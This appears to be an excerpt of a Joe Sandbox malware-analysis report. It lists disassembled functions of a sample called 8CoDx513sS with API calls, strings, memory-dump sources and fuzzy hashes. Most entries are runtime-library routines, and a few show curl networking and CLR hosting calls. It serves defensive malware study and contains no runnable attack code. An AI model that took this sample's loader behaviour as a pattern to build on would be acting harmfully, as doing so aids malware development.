Instruction Fuzzy Hash: 40A11BB1E00249AFEB00DFE4CC989AEBBBAFF49304F5445A9E505EB251D7319A46CB50

Function 100036ED Relevance: 7.8, APIs: 5, Instructions: 270memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 100036F4
CLRCreateInstance.MSCOREE(1001A868,1001A858,?), ref: 1000370E
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 10003812
SafeArrayUnaccessData.OLEAUT32(?), ref: 10003841
SysAllocString.OLEAUT32(?), ref: 100038F3

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: ArrayDataSafe$AccessAllocCreateH_prolog3InstanceStringUnaccess
String ID:
API String ID: 3666180938-0
Opcode ID: c4e03407da82dd7acee9e58b2e3332b21c01f3ee84fc2936f4e07a0afcb2d3ef
Instruction ID: dcc6c1f6668f1b92db084a14b7d62c496bc799671c572c0fd2326937d0a77b7a
Opcode Fuzzy Hash: c4e03407da82dd7acee9e58b2e3332b21c01f3ee84fc2936f4e07a0afcb2d3ef
Instruction Fuzzy Hash: 07A13AB1E00249AFEB01CFE4CC889AEBBB9FF49344F548469E209EB251D7719D46CB50

Function 02523FFA Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02524008

Part of subcall function 0251B4DF: __FF_MSGBANNER.LIBCMT ref: 0251B4F8
Part of subcall function 0251B4DF: __NMSG_WRITE.LIBCMT ref: 0251B4FF
Part of subcall function 0251B4DF: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 0251B524

_free.LIBCMT ref: 0252401B

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 81d65614e0b6db376356ac8b77cde15ec8576bf147855c74108ac56880b648b2
Instruction ID: a84ae17a1163bbee01728e747a26234e4d64fcd0f85d1e69950e0ecde0665516
Opcode Fuzzy Hash: 81d65614e0b6db376356ac8b77cde15ec8576bf147855c74108ac56880b648b2
Instruction Fuzzy Hash: 7911C832541535ABEB227B74D80476A3A75BFC53A5F104529E8099E1D0DB3095C5CB9C

Function 10013FF6 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 10014004

Part of subcall function 1000B4DB: __FF_MSGBANNER.LIBCMT ref: 1000B4F4
Part of subcall function 1000B4DB: __NMSG_WRITE.LIBCMT ref: 1000B4FB
Part of subcall function 1000B4DB: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 1000B520

_free.LIBCMT ref: 10014017

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 7892d5be7bed90684509bfddf6b1a68681ddd4948a21341d2697ccf088b487bc
Instruction ID: 7696c69056638fe7611a02dfb2276925f18d6ac235426c7681e57a06b816a852
Opcode Fuzzy Hash: 7892d5be7bed90684509bfddf6b1a68681ddd4948a21341d2697ccf088b487bc
Instruction Fuzzy Hash: 5D11EB3A8046259BE723EF71D80474D3B94DF481E1F234426FE089E1A1DF70D9C18790

Function 0251AB91 Relevance: 7.6, APIs: 5, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,02512558,00000001,00000000,00000000,?,?,025116AA,?,00000004,02512558), ref: 0251ABBF
_free.LIBCMT ref: 0251ABD2
GetLastError.KERNEL32(?,?,025116AA,?,00000004,02512558), ref: 0251ABDA
SysAllocString.OLEAUT32(00000000), ref: 0251ABF5
_free.LIBCMT ref: 0251AC06

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: _free$AllocByteCharErrorLastMultiStringWide
String ID:
API String ID: 3133011222-0
Opcode ID: ba0e984422f6f758effa058eafa6c33ca41c20b806ea50476d9d874a4e781a08
Instruction ID: c789352f4c628b0fb37768c868ab27ecb1671d7a8c86a1e6bb341209f23bc182
Opcode Fuzzy Hash: ba0e984422f6f758effa058eafa6c33ca41c20b806ea50476d9d874a4e781a08
Instruction Fuzzy Hash: 1A110AB29012459BFB116FB4CD85BAEB766FF98365F104029F806B3140D7789940CA58

Function 1000AB8D Relevance: 7.6, APIs: 5, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,10002554,00000001,00000000,00000000,?,?,100016A6,?,00000004,10002554), ref: 1000ABBB
_free.LIBCMT ref: 1000ABCE
GetLastError.KERNEL32(?,?,100016A6,?,00000004,10002554), ref: 1000ABD6
SysAllocString.OLEAUT32(00000000), ref: 1000ABF1
_free.LIBCMT ref: 1000AC02

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: _free$AllocByteCharErrorLastMultiStringWide
String ID:
API String ID: 3133011222-0
Opcode ID: 5478eeaf21772c2217c22ef18673ac5b0ba22ee21d318febd336bfc0b8df2e42
Instruction ID: 12a22c35d5f3d8fb1321d0b2ded3539686a662d82bc62df0805e8a0135a4e113
Opcode Fuzzy Hash: 5478eeaf21772c2217c22ef18673ac5b0ba22ee21d318febd336bfc0b8df2e42
Instruction Fuzzy Hash: 9D112976E002059BF710DF608C82F9EB7A8EF092E1F114239FD06B3246E638E9808665

Function 02520E32 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 02520E5A

Part of subcall function 0251CA2F: __getptd.LIBCMT ref: 0251CA3D
Part of subcall function 0251CA2F: __getptd.LIBCMT ref: 0251CA4B

__getptd.LIBCMT ref: 02520E64

Part of subcall function 0251EA1D: __getptd_noexit.LIBCMT ref: 0251EA20
Part of subcall function 0251EA1D: __amsg_exit.LIBCMT ref: 0251EA2D

__getptd.LIBCMT ref: 02520E72
__getptd.LIBCMT ref: 02520E80
__getptd.LIBCMT ref: 02520E8B

Part of subcall function 0251CAD4: __CallSettingFrame@12.LIBCMT ref: 0251CB20

Part of subcall function 02520F58: __getptd.LIBCMT ref: 02520F67
Part of subcall function 02520F58: __getptd.LIBCMT ref: 02520F75

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction ID: e49a7ccf938b499cc11829570a47ebe0f2a64dba3715198cff0bbc5e1d6a7c59
Opcode Fuzzy Hash: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction Fuzzy Hash: 7D11E971C0020ADFEF00EFA4C845AED7BB2FF44315F50806AE814A7291DB789A559F54

Function 10010E2E Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 10010E56

Part of subcall function 1000CA2B: __getptd.LIBCMT ref: 1000CA39
Part of subcall function 1000CA2B: __getptd.LIBCMT ref: 1000CA47

__getptd.LIBCMT ref: 10010E60

Part of subcall function 1000EA19: __getptd_noexit.LIBCMT ref: 1000EA1C
Part of subcall function 1000EA19: __amsg_exit.LIBCMT ref: 1000EA29

__getptd.LIBCMT ref: 10010E6E
__getptd.LIBCMT ref: 10010E7C
__getptd.LIBCMT ref: 10010E87

Part of subcall function 1000CAD0: __CallSettingFrame@12.LIBCMT ref: 1000CB1C

Part of subcall function 10010F54: __getptd.LIBCMT ref: 10010F63
Part of subcall function 10010F54: __getptd.LIBCMT ref: 10010F71

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction ID: b4e0dbd8ce1a72fd4abfcdd59f81ebe57866f822b99aab4b3141bbe221df2c4f
Opcode Fuzzy Hash: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction Fuzzy Hash: DA110AB5D00209DFEB00DFA4D445AEE77B0FF08318F10806AF814AB251DB38A9519F51

Function 0251E8F0 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,1001D2B0,00000008,0251E9F8,00000000,00000000,?,?,0251DE0C,0251B4CB,?,?,0251B078,?,?,02511020), ref: 0251E901
__lock.LIBCMT ref: 0251E935

Part of subcall function 0251F7E6: __mtinitlocknum.LIBCMT ref: 0251F7FC
Part of subcall function 0251F7E6: __amsg_exit.LIBCMT ref: 0251F808
Part of subcall function 0251F7E6: RtlEnterCriticalSection.NTDLL(00000000), ref: 0251F810

InterlockedIncrement.KERNEL32(?), ref: 0251E942
__lock.LIBCMT ref: 0251E956
___addlocaleref.LIBCMT ref: 0251E974

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 637971194-0
Opcode ID: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction ID: 699b8df4d55b6fdf63cf48ab8ca14cc87fe81678d1415dd927d2f22ca1339ed2
Opcode Fuzzy Hash: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction Fuzzy Hash: D2015B71805B01ABF720EF65D845749BBE1BF90320F10890AE496577A0CBB4AA84CF15

Function 1000E8EC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,1001D2B0,00000008,1000E9F4,00000000,00000000,?,?,1000DE08,1000B4C7,?,?,1000B074,?,?,1000101C), ref: 1000E8FD
__lock.LIBCMT ref: 1000E931

Part of subcall function 1000F7E2: __mtinitlocknum.LIBCMT ref: 1000F7F8
Part of subcall function 1000F7E2: __amsg_exit.LIBCMT ref: 1000F804
Part of subcall function 1000F7E2: RtlEnterCriticalSection.NTDLL(00000000), ref: 1000F80C

InterlockedIncrement.KERNEL32(?), ref: 1000E93E
__lock.LIBCMT ref: 1000E952
___addlocaleref.LIBCMT ref: 1000E970

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 637971194-0
Opcode ID: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction ID: e0b0b54dcd9724d3a9dc057f0e0c34e005450474cc4597f5e29c8ab7d7554a29
Opcode Fuzzy Hash: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction Fuzzy Hash: 59016D75440B40EFF720DF69C985759BBE0EF50364F20894EE49AA76A2CBB4EA40DB11

Function 0251E7F4 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0251E800

Part of subcall function 0251EA1D: __getptd_noexit.LIBCMT ref: 0251EA20
Part of subcall function 0251EA1D: __amsg_exit.LIBCMT ref: 0251EA2D

__getptd.LIBCMT ref: 0251E817
__amsg_exit.LIBCMT ref: 0251E825
__lock.LIBCMT ref: 0251E835
__updatetlocinfoEx_nolock.LIBCMT ref: 0251E849

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction ID: a28f5465a2bad002ce667bb5d3e8ee33246410fe3d1eec9a34e30bac1411c5ed
Opcode Fuzzy Hash: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction Fuzzy Hash: 30F0B432905712ABF724BB74CC07B4D3792BF80734F100109E811672D2CB349881CE5D

Function 1000E7F0 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 1000E7FC

Part of subcall function 1000EA19: __getptd_noexit.LIBCMT ref: 1000EA1C
Part of subcall function 1000EA19: __amsg_exit.LIBCMT ref: 1000EA29

__getptd.LIBCMT ref: 1000E813
__amsg_exit.LIBCMT ref: 1000E821
__lock.LIBCMT ref: 1000E831
__updatetlocinfoEx_nolock.LIBCMT ref: 1000E845

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction ID: 27ec27bca08ad23788593ccf121d4463935dee04e9b67a737bc8475efb2ccc85
Opcode Fuzzy Hash: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction Fuzzy Hash: 01F0CD36A04790DAF260EBA85842B5E33E0EB003A4F21814EF918B61CACF247C40DB82

Function 0049AEB9 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 394COMMON

Download Yara Rule

Strings

%s://%s, xrefs: 0049AFF8
Re-using existing connection! (#%ld) with host %s, xrefs: 0049B37D
memory shortage, xrefs: 0049B0A2

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID:
String ID: %s://%s$Re-using existing connection! (#%ld) with host %s$memory shortage
API String ID: 0-116333656
Opcode ID: 4bac97d17ae5f68131b2ae6269c55fe6e40634895299c6d0ed29cc42ff1ad301
Instruction ID: 2295bc2f832f37f6655adc6c8df25ae6d612bf2283f6c60054bc5880190cdc9b
Opcode Fuzzy Hash: 4bac97d17ae5f68131b2ae6269c55fe6e40634895299c6d0ed29cc42ff1ad301
Instruction Fuzzy Hash: 08E190B1600706AFDB25CF65E988BE7BBE8FF05314F00017FE95996241DB78A940CB99

Function 025211DF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 025211F2

Part of subcall function 0252114D: ___BuildCatchObjectHelper.LIBCMT ref: 02521183

_UnwindNestedFrames.LIBCMT ref: 02521209

Strings

csm, xrefs: 025211E1
csm, xrefs: 025211EE, 02521203, 02521216, 02521234, 02521244

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction ID: 4c5fda173cd88da68f5671a75b4d653d931659b55b5e038fb483bc5a4dfc5ecc
Opcode Fuzzy Hash: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction Fuzzy Hash: D601243100152ABBDF22AF51CC44EAB3E6AFF59354F008014BD1D641E1D776D8A5DFA9

Function 100111DB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 100111EE

Part of subcall function 10011149: ___BuildCatchObjectHelper.LIBCMT ref: 1001117F

_UnwindNestedFrames.LIBCMT ref: 10011205

Strings

csm, xrefs: 100111EA, 100111FF, 10011212, 10011230, 10011240
csm, xrefs: 100111DD

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction ID: 726f1af90ac6159ecf7425fbd765e127a48f118fdebed59dacfe927d52eae8df
Opcode Fuzzy Hash: 2c433eeadeeff05f0d38dc95483bda366b925a4b7ec49010a466325f946cd4e4
Instruction Fuzzy Hash: FB01F63540110ABBDF169F51CC85EEA7FAAEF08390F004010FD5859121EB72E9B1EBA0

Function 0049DFAF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0049DFCF
WSAGetLastError.WS2_32(?,0049DD97,?,?), ref: 0049DFD9

Strings

TCP_NODELAY set, xrefs: 0049DFF7
Could not set TCP_NODELAY: %s, xrefs: 0049DFE7

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: Could not set TCP_NODELAY: %s$TCP_NODELAY set
API String ID: 1729277954-1562148346
Opcode ID: 498562747f8a674771b5d1189196e35754a4ab7bee770cc68f9fc4d6130fc2c8
Instruction ID: 7fb51bb957ca07d401a93139577118a07fd01951e9fbf651674990f878d22596
Opcode Fuzzy Hash: 498562747f8a674771b5d1189196e35754a4ab7bee770cc68f9fc4d6130fc2c8
Instruction Fuzzy Hash: 88F0B472284204BBDE116B55DC46EAB3F6DEB01750F100137FB09AA1C1D675650146AE

Function 02524A39 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 02524A6D
__isleadbyte_l.LIBCMT ref: 02524AA0
MultiByteToWideChar.KERNEL32(00000080,00000009,0251ADDF,?,00000000,00000000,?,?,?,?,0251ADDF,00000000), ref: 02524AD1
MultiByteToWideChar.KERNEL32(00000080,00000009,0251ADDF,00000001,00000000,00000000,?,?,?,?,0251ADDF,00000000), ref: 02524B3F

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 8c72fa43da4b4695d9512640b885080e028b736949950718b94da1c77f91feec
Instruction ID: 1cfb4230f090bd3e9ceceb745612351d765fe218689adf549b98f525b7e70baa
Opcode Fuzzy Hash: 8c72fa43da4b4695d9512640b885080e028b736949950718b94da1c77f91feec
Instruction Fuzzy Hash: 3C31C231A00266EFDF11DF64C880ABE3FA6FF42215F1445A9E4619B1D0D330DA44EB58

Function 10014A35 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10014A69
__isleadbyte_l.LIBCMT ref: 10014A9C
MultiByteToWideChar.KERNEL32(39858D00,00000009,?,C4830000,?,00000000,?,?,?,100013C8,?,grams), ref: 10014ACD
MultiByteToWideChar.KERNEL32(39858D00,00000009,?,00000001,?,00000000,?,?,?,100013C8,?,grams), ref: 10014B3B

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: af4ae635bc1a6c5b9520639113cb03c657ddf4de72e7d3a9bcded98ead903cf4
Instruction ID: 0df45fb0bce1ff0e337cf512b08fb03b31aa44177bd3ed0f8b5482515cfd850d
Opcode Fuzzy Hash: af4ae635bc1a6c5b9520639113cb03c657ddf4de72e7d3a9bcded98ead903cf4
Instruction Fuzzy Hash: F931EE31A44286EFDB10DF64C890AAE3BF9EF01251B5385A9F4648F0A1DB30DD80DB56

Function 0049B9CA Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 0049BA26
_strncpy.LIBCMT ref: 0049BA48
curl_easy_unescape.8CODX513SS(?,?,00000000,00000000,?,?,?,?,00000000,00000000), ref: 0049BA60
curl_easy_unescape.8CODX513SS(?,?,00000000,00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 0049BA81

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412888804.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8CoDx513sS.jbxd

Similarity

API ID: _strncpycurl_easy_unescape
String ID:
API String ID: 2404033345-0
Opcode ID: 0fe506fcafa3519fa01d2058667853db867d44a99327e1165f1ffe397efcdbc2
Instruction ID: 8c075512d40200412fc6cdf6a93d89a3645c7208b9729fc2dca58d7898825178
Opcode Fuzzy Hash: 0fe506fcafa3519fa01d2058667853db867d44a99327e1165f1ffe397efcdbc2
Instruction Fuzzy Hash: E32165B5A0021C7BDB11DB659C82FEBB3ACDF54304F4044AAF555D7141EB78AE448AA8

Function 02522275 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0252229B

Part of subcall function 025220C7: __fltout2.LIBCMT ref: 025220F2

__cftog_l.LIBCMT ref: 025222C1
__cftoe_l.LIBCMT ref: 025222F3

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 5e18b5ae58532b5e1cb5988240d3dd3e67ca9e04d131fa1992a890a7040a75cd
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: C311AE3600015ABBCF161E84CC01CEE3F23BB5A354F598515FE18980B0C333C5B5AB89

Function 10012271 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 10012297

Part of subcall function 100120C3: __fltout2.LIBCMT ref: 100120EE

__cftog_l.LIBCMT ref: 100122BD
__cftoe_l.LIBCMT ref: 100122EF

Memory Dump Source

Source File: 00000000.00000002.3416528138.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_8CoDx513sS.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 0af7de712e53eb06e26386a33fff448067915c9cd8a11687785189307b9dbde1
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: BD1178B640008EBBCF168E84CC42CEE3F62FB19294B148515FE2859431D732DAB2EB81

Function 0251BD1C Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0251BD36

Part of subcall function 0251B4DF: __FF_MSGBANNER.LIBCMT ref: 0251B4F8
Part of subcall function 0251B4DF: __NMSG_WRITE.LIBCMT ref: 0251B4FF
Part of subcall function 0251B4DF: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 0251B524

std::exception::exception.LIBCMT ref: 0251BD6B
std::exception::exception.LIBCMT ref: 0251BD85
__CxxThrowException@8.LIBCMT ref: 0251BD96

Memory Dump Source

Source File: 00000000.00000002.3415183476.0000000002510000.00000040.00001000.00020000.00000000.sdmp, Offset: 02510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2510000_8CoDx513sS.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: 2edf3a42df373c1c3ae22941710252e20f82e24b0e05f4356e22b0e4b3bc49d6
Instruction ID: c38037c72c9a0149b3f4b7cef2d683b07721de92b07cc5454017a3644655435f
Opcode Fuzzy Hash: 2edf3a42df373c1c3ae22941710252e20f82e24b0e05f4356e22b0e4b3bc49d6
Instruction Fuzzy Hash: 75F0287540024BAAFB14FB64CC80BDD7A66FB80318F500159F814EA090CF75CF96CB49

Function 004C6314 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 004C63D9

Strings

0;N, xrefs: 004C6388
0;N, xrefs: 004C638F

Memory Dump Source

Source File: 00000000.00000002.3412736273.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3412701665.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412833239.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3412868064.00000000004EA000.00000002.00000001.01000000.00000003.sdmpDownload File
